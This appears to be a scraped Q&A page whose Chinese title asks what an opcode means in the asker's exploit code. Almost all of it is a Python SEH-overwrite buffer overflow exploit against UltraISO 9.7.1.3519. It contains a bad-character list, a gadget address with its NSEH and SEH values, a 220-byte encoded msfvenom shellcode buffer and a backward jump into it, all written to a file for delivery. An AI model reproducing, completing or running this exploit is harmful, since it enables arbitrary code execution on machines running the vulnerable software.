问这个操作码在我的开发代码中是什么意思？

EN

\xe9\xcb\xfe\xff\xff\xcc

import sys
import os 

#Message=  0x005b79d2 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [UltraISO.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v9.7.1.3519 (C:\Program Files\UltraISO\UltraISO.exe)


#SEH ascii = 00402D3A
#Next SEH  = EBF8 ===> jmp short $-6 ===> jmp back to our [AAA]

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
'''
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes

'''
buf =  ""
buf += "\xdb\xd2\xb8\xf7\x1b\xec\x7d\xd9\x74\x24\xf4\x5b\x33"
buf += "\xc9\xb1\x31\x31\x43\x18\x83\xc3\x04\x03\x43\xe3\xf9"
buf += "\x19\x81\xe3\x7c\xe1\x7a\xf3\xe0\x6b\x9f\xc2\x20\x0f"
buf += "\xeb\x74\x91\x5b\xb9\x78\x5a\x09\x2a\x0b\x2e\x86\x5d"
buf += "\xbc\x85\xf0\x50\x3d\xb5\xc1\xf3\xbd\xc4\x15\xd4\xfc"
buf += "\x06\x68\x15\x39\x7a\x81\x47\x92\xf0\x34\x78\x97\x4d"
buf += "\x85\xf3\xeb\x40\x8d\xe0\xbb\x63\xbc\xb6\xb0\x3d\x1e"
buf += "\x38\x15\x36\x17\x22\x7a\x73\xe1\xd9\x48\x0f\xf0\x0b"
buf += "\x81\xf0\x5f\x72\x2e\x03\xa1\xb2\x88\xfc\xd4\xca\xeb"
buf += "\x81\xee\x08\x96\x5d\x7a\x8b\x30\x15\xdc\x77\xc1\xfa"
buf += "\xbb\xfc\xcd\xb7\xc8\x5b\xd1\x46\x1c\xd0\xed\xc3\xa3"
buf += "\x37\x64\x97\x87\x93\x2d\x43\xa9\x82\x8b\x22\xd6\xd5"
buf += "\x74\x9a\x72\x9d\x98\xcf\x0e\xfc\xf6\x0e\x9c\x7a\xb4"
buf += "\x11\x9e\x84\xe8\x79\xaf\x0f\x67\xfd\x30\xda\xcc\xf1"
buf += "\x7a\x47\x64\x9a\x22\x1d\x35\xc7\xd4\xcb\x79\xfe\x56"
buf += "\xfe\x01\x05\x46\x8b\x04\x41\xc0\x67\x74\xda\xa5\x87"
buf += "\x2b\xdb\xef\xeb\xaa\x4f\x73\xc2\x49\xe8\x16\x1a"

SEH = "\x3A\x2D\x40"
NSEH = "\xEB\xF8\x90\x90"
#304 (junk size) - 6 (jmp 6 bytes) = 298 bytes 
#304 - shellcode size (298) = 84
#shellcode start at : 0012EC6C   DBD2             FCMOVNBE ST,ST(2)
#my jmp : 0012ED70  ^EB F8            JMP SHORT 0012ED6A

#jmp 10 bytes before shellcode : 0012EC62   43               INC EBX

#\xe9\xcb\xfe\xff\xff\xcc


junk1 = "C" * 44
junk2 = "C" * 34
jmp2 = "\xe9\xcb\xfe\xff\xff\xcc"


buffer = junk1 + buf + junk2 + jmp2 +NSEH + SEH 

with open("q.txt" ,"w") as q:
    q.write(buffer)